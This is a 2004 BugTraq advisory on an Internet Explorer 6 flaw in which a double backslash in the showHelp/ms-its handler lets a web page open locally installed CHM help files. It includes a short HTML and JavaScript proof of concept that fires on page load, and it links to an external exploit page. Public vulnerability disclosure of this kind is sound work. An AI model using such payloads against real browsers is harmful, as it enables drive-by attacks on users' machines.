BugTraq
Showhelp() local CHM file execution May 13 2004 09:13AM
roozbeh afrasiabi (roozbeh_afrasiabi yahoo com)


advisory#3

/--------------------------------------------------------------------/

Vendor: Microsoft Corp.

product: IE.6

test machine: winxp.pro.ed ,ie6 (FP)

Discovery by: Roozbeh Afrasiabi

(roozbeh_afrasiabi(At)yahoo(dot)com)

Risk: Low

Title: Showhelp() local CHM file execution

/--------------------------------------------------------------------/

TABLE OF CONTENTS:

==================

Description..............................................1

PoC......................................................2

Exploit..................................................3

Contact info.............................................4

Disclaimer...............................................5

1)Description:

==================

While previous patches were to stop showhelp from executing CHM files

using their path, a weakness in the way the double "\" is handled by

the its protocol handler allows for the execution of locally installed

CHM files.when "\\" is placed before the name of target CHM file the

HELP folder is searched for such name , if the help folder dose not

contain a file with that name then the rootdrive would be the next

path to be searched,when a file with that name is found in either of

these paths it would be executed .

2)POC

=========

<html>

<head>

<title>POC</title>

<p><br><b>HTM help file opened in an iframe</b><br><br>

<iframe id="target" width="700" height="400" src="ms-its:" name="target" scrolling="yes">

</iframe>

<!----SCRIPT LANGUAGE=javascript>

function getlink(){

showHelp("ms-its:\\ntshared.chm::/copyright.htm");

target.location="ms-its:\\ntshared.chm::/copyright.htm";

}

<!-----/script>

</head>

<body onload=getlink()>

</body>

</html>

3)Exploit

===========

http://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm

4)Contact Info

==================

roozbeh_afrasiabi(at)yahoo(dot)com

da_stone_cold_killer(at)yahoo(dot)com

me@persia-fars-shiraz

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xkEvaT1IWeaDemU5dYAysPsAnRP6Qyw1DM3gHhxl6m+bjEwPX6AG

=q+hK

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5)Disclaimer

==================

Roozbeh Afrasiabi is not responsible for the misuse of the information provided in this report. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk.

All Rights Reserved

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